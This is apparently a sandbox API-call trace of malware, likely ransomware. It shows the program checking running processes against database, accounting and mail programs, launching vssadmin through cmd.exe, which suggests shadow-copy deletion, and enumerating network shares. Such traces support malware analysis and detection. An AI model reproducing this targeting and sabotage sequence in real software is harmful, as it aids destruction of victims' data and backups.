	[0106.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0106.345] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x36ba4f0 | out: hHeap=0x4a0000) returned 1
	[0106.346] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac
	[0106.348] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0106.349] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0106.350] lstrlenW (lpString="System") returned 6
	[0106.350] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0106.350] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0106.350] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0106.350] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0106.350] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0106.350] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0106.350] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0106.350] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0106.351] lstrlenW (lpString="smss.exe") returned 8
	[0106.351] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0106.351] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0106.351] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0106.351] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0106.351] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0106.351] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0106.351] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0106.351] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0106.352] lstrlenW (lpString="csrss.exe") returned 9
	[0106.352] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0106.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0106.352] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0106.352] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0106.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0106.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0106.352] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0106.352] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0106.353] lstrlenW (lpString="wininit.exe") returned 11
	[0106.353] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0106.353] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0106.353] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0106.353] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0106.354] lstrlenW (lpString="csrss.exe") returned 9
	[0106.354] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0106.354] lstrlenW (lpString="winlogon.exe") returned 12
	[0106.355] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0106.355] lstrlenW (lpString="services.exe") returned 12
	[0106.355] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0106.356] lstrlenW (lpString="lsass.exe") returned 9
	[0106.356] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0106.356] lstrlenW (lpString="lsm.exe") returned 7
	[0106.356] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0106.357] lstrlenW (lpString="svchost.exe") returned 11
	[0106.357] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0106.358] lstrlenW (lpString="svchost.exe") returned 11
	[0106.358] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0106.358] lstrlenW (lpString="svchost.exe") returned 11
	[0106.358] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0106.359] lstrlenW (lpString="svchost.exe") returned 11
	[0106.359] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0106.360] lstrlenW (lpString="svchost.exe") returned 11
	[0106.360] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0106.360] lstrlenW (lpString="audiodg.exe") returned 11
	[0106.360] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0106.361] lstrlenW (lpString="svchost.exe") returned 11
	[0106.361] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0106.362] lstrlenW (lpString="svchost.exe") returned 11
	[0106.362] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0106.363] lstrlenW (lpString="dwm.exe") returned 7
	[0106.363] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0106.363] lstrlenW (lpString="explorer.exe") returned 12
	[0106.363] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0106.364] lstrlenW (lpString="spoolsv.exe") returned 11
	[0106.364] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0106.365] lstrlenW (lpString="taskhost.exe") returned 12
	[0106.365] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0106.365] lstrlenW (lpString="svchost.exe") returned 11
	[0106.365] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0106.366] lstrlenW (lpString="taskeng.exe") returned 11
	[0106.366] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0106.367] lstrlenW (lpString="taskhost.exe") returned 12
	[0106.367] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0106.368] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0106.368] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0106.368] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0106.369] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0106.369] lstrlenW (lpString="zoo.exe") returned 7
	[0106.369] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0106.370] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0106.370] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0106.371] lstrlenW (lpString="determined.exe") returned 14
	[0106.371] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0106.372] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0106.372] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0106.372] lstrlenW (lpString="hansen mails.exe") returned 16
	[0106.372] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0106.373] lstrlenW (lpString="choirsas.exe") returned 12
	[0106.373] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0106.374] lstrlenW (lpString="skirt_races.exe") returned 15
	[0106.374] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0106.375] lstrlenW (lpString="actors_radius.exe") returned 17
	[0106.375] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0106.376] lstrlenW (lpString="scheduling.exe") returned 14
	[0106.376] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0106.419] lstrlenW (lpString="michael.exe") returned 11
	[0106.419] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0106.420] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0106.420] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0106.421] lstrlenW (lpString="pleasure.exe") returned 12
	[0106.421] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0106.421] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0106.422] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0106.422] lstrlenW (lpString="electron.exe") returned 12
	[0106.422] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0106.423] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0106.423] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0106.424] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0106.424] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0106.424] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0106.425] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0106.425] lstrlenW (lpString="pointer.exe") returned 11
	[0106.425] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0106.426] lstrlenW (lpString="gd logos.exe") returned 12
	[0106.426] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0106.426] lstrlenW (lpString="algebra validity.exe") returned 20
	[0106.427] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0106.427] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0106.427] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0106.428] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0106.428] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0106.429] lstrlenW (lpString="p.exe") returned 5
	[0106.429] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0106.430] lstrlenW (lpString="cmd.exe") returned 7
	[0106.430] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0106.430] lstrlenW (lpString="conhost.exe") returned 11
	[0106.430] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0106.431] lstrlenW (lpString="vssadmin.exe") returned 12
	[0106.431] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0106.432] lstrlenW (lpString="VSSVC.exe") returned 9
	[0106.432] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0106.433] lstrlenW (lpString="svchost.exe") returned 11
	[0106.433] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0106.433] lstrlenW (lpString="LogonUI.exe") returned 11
	[0106.433] Process32NextW (in: hSnapshot=0x1ac, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0106.434] CloseHandle (hObject=0x1ac) returned 1
	[0106.434] Sleep (dwMilliseconds=0x1f4) 

Thread:
	id = 5
	os_tid = 0xa58

	[0085.033] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff
	[0085.033] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d4a08 | out: hHeap=0x4a0000) returned 1

Thread:
	id = 6
	os_tid = 0xa5c

	[0085.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a08
	[0085.033] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a08, Size=0x20) returned 0x4d5c28
	[0085.033] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d5c28, Size=0x40) returned 0x4d6bc0
	[0085.033] GetLogicalDrives () returned 0x4
	[0085.034] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x50d430
	[0085.034] GetComputerNameW (in: lpBuffer=0x50d434, nSize=0x240ff6c | out: lpBuffer="XDUWTFONO", nSize=0x240ff6c) returned 1
	[0085.034] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1000) returned 0x4fa090
	[0085.034] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x240ff3c | out: lphEnum=0x240ff3c*=0x4d6178) returned 0x0
	[0085.034] WNetEnumResourceW (in: hEnum=0x4d6178, lpcCount=0x240ff38, lpBuffer=0x4fa090, lpBufferSize=0x240ff40 | out: lpcCount=0x240ff38, lpBuffer=0x4fa090, lpBufferSize=0x240ff40) returned 0x103
	[0085.035] WNetCloseEnum (hEnum=0x4d6178) returned 0x0
	[0085.035] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x240ff3c | out: lphEnum=0x240ff3c*=0x51d7e0) returned 0x0
	[0090.936] WNetEnumResourceW (in: hEnum=0x51d7e0, lpcCount=0x240ff38, lpBuffer=0x4fa090, lpBufferSize=0x240ff40 | out: lpcCount=0x240ff38, lpBuffer=0x4fa090, lpBufferSize=0x240ff40) returned 0x0
	[0090.936] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1000) returned 0x36bdd08
	[0090.936] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x4fa090, lphEnum=0x240ff10 | out: lphEnum=0x240ff10*=0x4d62f8) returned 0x0
	[0091.139] WNetEnumResourceW (in: hEnum=0x4d62f8, lpcCount=0x240ff0c, lpBuffer=0x36bdd08, lpBufferSize=0x240ff14 | out: lpcCount=0x240ff0c, lpBuffer=0x36bdd08, lpBufferSize=0x240ff14) returned 0x103
	[0091.139] WNetCloseEnum (hEnum=0x4d62f8) returned 0x0
	[0091.139] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1000) returned 0x36bc500
	[0091.139] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x4fa0b0, lphEnum=0x240ff10) 

Thread:
	id = 7
	os_tid = 0xa60

	[0085.036] GetTickCount () returned 0x1c486
